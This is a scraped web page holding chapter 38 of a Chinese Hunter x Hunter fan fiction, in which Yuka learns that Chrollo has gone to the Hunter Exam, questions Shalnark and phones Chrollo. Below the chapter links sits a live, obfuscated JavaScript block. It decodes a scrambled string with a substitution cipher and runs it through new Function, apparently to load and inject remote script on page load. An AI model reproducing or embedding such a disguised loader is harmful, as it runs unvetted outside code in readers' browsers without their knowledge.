返回

三次BE后我决定放飞自我

首页
关灯
护眼
字体:
38 如何偕老
佑果本以为睁开眼会看到在自己枕边沉眠的库洛洛,虽然并不想承认,不过睁开眼时看到他在身边,佑果确实会从心底感觉到一阵奇特的平静。

然而这次睁开眼,佑果并没有感觉到身边温热的肉、体,只剩下冷冰冰的空气和略有些凌乱的床铺。

他一个人躺在床上有些回不过神,不过紧接着出现的便是一阵索然无味和意料之中的平静,他翻身下床换了衣服洗了脸随意套了一件宽松的外套便出了卧室,然后抬眼一看,却发现沙发上正坐着伊尔迷。

伊尔迷此时单手握着手机浏览着消息。

听到佑果出门的声音后,伊尔迷转过身看向他举起手挥挥,表情平静道:“早上好。”

佑果也下意识地举起手回道:“早上好。”

清晨醒来有些发懵的大脑总算在此刻恢复了一些神智,佑果后知后觉地意识到昨晚的动静应该会一丝不落地被处在隔壁的伊尔迷听到。

就算平时表现的再怎么欢脱自然,有关一这方面的事情被其他人听到也会感觉一些不自在,佑果也同样如此,他竭力地忽视那丝不自在,正打算同往常一样和伊尔迷相处时,却听到伊尔迷说:“放心,昨晚我发现事情的发展已经到了我该走的时候我就离开了。”

佑果因为伊尔迷的这句话猛地咳嗽了两声,他不知道该怎么回答,只好勉强地笑着说:“谢…谢谢?”

伊尔迷的视线平静地扫来,看他的样子和看以往时也没有什么不同,他说:“不用谢,我应该做的。”

和伊尔迷说话是件辛苦活,佑果从未如此真切地感受过,如果说之前的尴尬只是一分,那现在伊尔迷挑破后那丝尴尬便以火箭般的速度飞跃到八分了。

两个人就这样不尴不尬地在一起坐了半天,佑果同样拿出手机假装自己有什么事情一般盯着看,直到系统忽然出声:“库洛洛走了。”

佑果才诧异地和系统说:“你的网是不是有延迟?”

系统沉默了一会儿,“不,我是说,他离开了。”

“他现在已经离开巴托奇亚共和国了,乘着船准备去欧奇玛联邦参加猎人考试。”

猎人考试!真是见了鬼!

佑果总算想起来昨晚库洛洛曾告诉过他,他要参加一场很重要的考试,佑果只恨当时的自己被男色冲昏了头脑,竟然完全忘记了库洛洛这个家伙嘴里没一句实话,他只以为那是历史系的学生们都要经历的一场重要考试——因为据他所知,罗斯金纳历史系的学生们都会在毕业之前参加一场历史考试,而考试的结果关乎着历史系的学生们未来是从事考古专业还是文物研究专业。

佑果差一点从沙发上跳起来,伊尔迷敏锐地察觉到佑果突变的情绪,他偏过头看向佑果,狐疑道:“怎么了?”

现在阻止已经来不及,佑果僵直的背慢慢放松,然后靠在沙发上。

“库洛洛走了。”佑果说这话的时候出奇的平静,“他去参加猎人考试了。”

即使已经习惯常年都保持着一个表情的伊尔迷在听到这句话时也不免微微蹙起了眉头,“猎人考试?他为什么突然要参加猎人考试?”

佑果很想露出平静的表情,可是却发现稍微有些困难,所以他也就不在强撑,微叹一声道:“是啊,他参加猎人考试是为什么呢?”

于是为了一解心中的困惑,佑果特意选在下午去了之前去过的幻影旅团的老巢。

幻影旅团占据的别墅仍孤零零地立在那里,血色的夕阳落在砖红色的别墅墙上,乌鹊南飞,枯树上落着的乌鸦站在枝头扯着嗓子干嚎了几声,别墅的墙面此时好似被鲜血浸透了一般鲜艳,凑近看仿佛能从中流出血来。

这是佑果第三次来这个别墅了,之前两次都十分忐忑,然而这次佑果却没了之前忐忑不安的心情,变得十分平静坦然起来。

佑果想,或许这是因为他对库洛洛已经没有什么敬畏防备的心理了。

站在别墅门口,佑果抬手轻轻敲响了房门,门从内被人打开,又出现了佑果无比熟悉的那张清秀娃娃脸,金发碧眼的侠客从门口探出头来,头发湿漉漉还在往下滴水。

随意拽了一条毛巾将头发盖上的侠客双手环胸倚门而立,垂眸笑眯眯地看着佑果道:“团长不在这里哦。”

佑果已经知道结果,所以并不惊讶,他只是看着侠客,很平静地询问,“哦,我知道这件事。他去参加猎人考试了。”

这下诧异的是侠客,他记着自己分明将库洛洛参加猎人考试的消息隐藏的很好,如果有人查探他不会毫不知情,可是佑果却一副我早已经知道的表情,还问他:“那库洛洛什么时候回来?”

佑果是听说过猎人考试的凶残程度的,虽然每年猎人协会都会举行猎人考试,可是职业猎人的诞生率却低到离谱,基本上要从数百万人里才会选拔出一位勉强合格的猎人出来,而这数百万人里,又会有不知道多少人连命都没有。

他确确实实是担忧的,但是却不是担忧库洛洛的小命,而是担忧和库洛洛同一时期考试的其他人——按照库洛洛那种能把人利用到死的性格,佑果确实对其他人的人身安全捏了一把冷汗。

对于佑果的疑问侠客也不能肯定,他微微挑眉,然后笑眯眯回答:“这个嘛,我就不知道了,毕竟猎人协会的考试项目都是机密,我怎么会知道呢?”

侠客的笑容依旧是阳光灿烂的样子,看上去没有一丝阴霾。

他探究似的看着佑果,口吻颇为戏谑地说:“你在担心团长吗?”

“当然没有。”

佑果眼神诧异,满脸都写着“你在说什么屁话”。

“担心他,不如担心其他人的安全吧。”

&nb

sp;侠客被佑果这样的表情逗笑了,他稍稍有些明白库洛洛为什么对佑果的包容度这样大,在乏味无趣的时候身边有佑果这样的乐趣确实可以很好地缓解无聊的情绪。

“那你找我是有什么问题?”侠客很大方地说:“我都可以回答。”

侠客这句话其实没有说完,他的都可以回答是介于他愿意回答的范围内,可他不说佑果也清楚,,所以并没有自讨没趣地询问什么有关于幻影旅团之类的问题,而是问:“他为什么要去考猎人执照?”

这便问到点子上了,对于这个问题侠客也很好奇,只是他问库洛洛时,库洛洛也只是淡笑着说:“因为我需要猎人执照。”

其实旅团的成员中侠客早已经取得了执照,多一个库洛洛也可有可无。但是库洛洛从来都是随心所欲的做事,很少有人能够猜到他的行动逻辑,所以他突发奇想的要考猎人执照侠客也只是奇怪了片刻,便开始迅速地帮库洛洛准备好猎人考试需要的资料和报名表。

所以对于佑果的问题,侠客也只好遗憾地摇着头说:“不好意思。”

没有得到回答的佑果也不失望,他随意地点点头说:“那就算了。”,可转身要离开这里时,佑果又被身后的侠客喊住了。

“你为什么不自己问问团长呢?”侠客说,“如果是你,团长也许会说出来也不一定。”

佑果其实是不太相信侠客这话的,毕竟库洛洛是什么人?但是不得不说侠客的话确实让佑果心思微微动起来。

从别墅往罗斯金纳走的时候佑果用电话拨通了那个烂熟于心的号码,电话响了三声后就被人接通了,佑果清楚地听到从听筒里传来的海浪声。

浪花拍打着木质的船舱飘起雪白的泡沫,海鸥拍打着翅膀在天际翱翔,佑果在一片嘈杂声中勉强分辨着属于库洛洛的部分,然后他在混乱的声响中听到了那独树一帜的清越明朗的声音。

库洛洛含笑着叫他的名字,然后说:“休息的怎么样?”

佑果不冷不热地说:“还可以。”

库洛洛笑起来,“听这样子,应该是不错了。”

佑果没有再和库洛洛打什么语言的“游击战”,他单刀直入地问:“你去参加猎人考试了?为什么?”

电话那边的库洛洛像是笑了一下,“我只是忽然发现猎人证很有用,所以打算自己考一个。”

佑果被库洛洛这话说的愣了一下,紧接着眼皮一跳,迟疑道:“只是这个原因?”

库洛洛没有肯定,反问道:“不然呢?”

佑果直白地说:“可我不太信,鉴于你平常的表现,我怀疑你有阴谋。”

库洛洛这次是真的笑起来了,他笑的很开心的样子,声音落到佑果耳朵里有些发痒,库洛洛说:“人总是有些小秘密的,你难道没有吗?”

佑果当然不会承认自己的秘密,于是嘴硬道:“我可没有秘密。”

库洛洛笑了笑,信不信都是由他说了算的,他一个人站在船舷上,同船的其他人此时都聚集在另一边,用见鬼一样惊恐的眼神看着表情安然的库洛洛,而在库洛洛的周围则散落着七零八碎的残肢,鲜血在地板上涂出了一副艳丽的绘卷。

少了最开始的针锋相对,语言也就变得平和起来,佑果握着手机和库洛洛说:“既然你已经出发了,那就祝你成功吧。”

库洛洛这次是真的很惊讶了,“你说的是真的?”

佑果面无表情道:“当然是假的。”

这下才比较正常,库洛洛目光仍是温和的,只可惜佑果看不到,阳光温柔地洒在库洛洛的肩头,海风吹起他的刘海,白皙的额头上深青色的等臂十字架看起来有些突兀,但是又奇妙的和库洛洛这个人融为一体。

“你小心一点吧。”佑果意有所指道:“通缉榜上的幻影旅团团长胆大包天地去参加猎人考试,你还真不怕自己被抓到监狱里。”

佑果甚至在心里畅想了一番库洛洛被关进监狱里的模样,最好库洛洛痛哭流涕的请求佑果将他救出来——可佑果也清楚那只是自己的妄想。

库洛洛被抓的概率不大,更不会痛哭流涕。

光是自己脑补就出了一身鸡皮疙瘩的佑果嫌恶地搓了搓自己的手臂驱散寒意。

而库洛洛也有话要说。

“我倒是很想知道。”库洛洛微笑道:“究竟是他们先抓到我,还是我先拿到猎人执照?”

通话终止,佑果将手机放进口袋,伊尔迷也悄然无声地跟在了他的身边。

“猎人考试的过程中,不管考生是谁,做了什么事,谁也无权将考生带走调查。”伊尔迷歪着头说:“库洛洛应该是打着这个主意。”

佑果也有这些猜想,不过他漫不经心地点了点头说:“可那又有什么关系?”

伊尔迷眼睛看过来。

佑果说:“拥有猎人执照确实代表拥有一些特权,可这种特权也不代表他能掌握生杀予夺,猎人协会不会同意,其他国家更不会同意,所以库洛洛拿不拿猎人执照对他的通缉令会产生作用吗?”

伊尔迷淡淡道:“不会。”

揍敌客除了他们这些新生代,席巴和桀诺也同样有猎人执照,可是悬赏揍敌客家族项上人头的通缉令也从不会因为猎人执照的存在而被取消。

“所以他去考执照,也只是为了有趣而已。”佑果步履悠闲,欣赏着夕阳西下层林尽染的美丽,“不过,无权将人带走调查也仅限于猎人考试期间吧。”

佑果顿了顿,他侧过脸朝伊尔迷扬起一个微笑,很是随意地说:“这规定不是考完就结束了吗?”

上一章 目录 下一章

(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();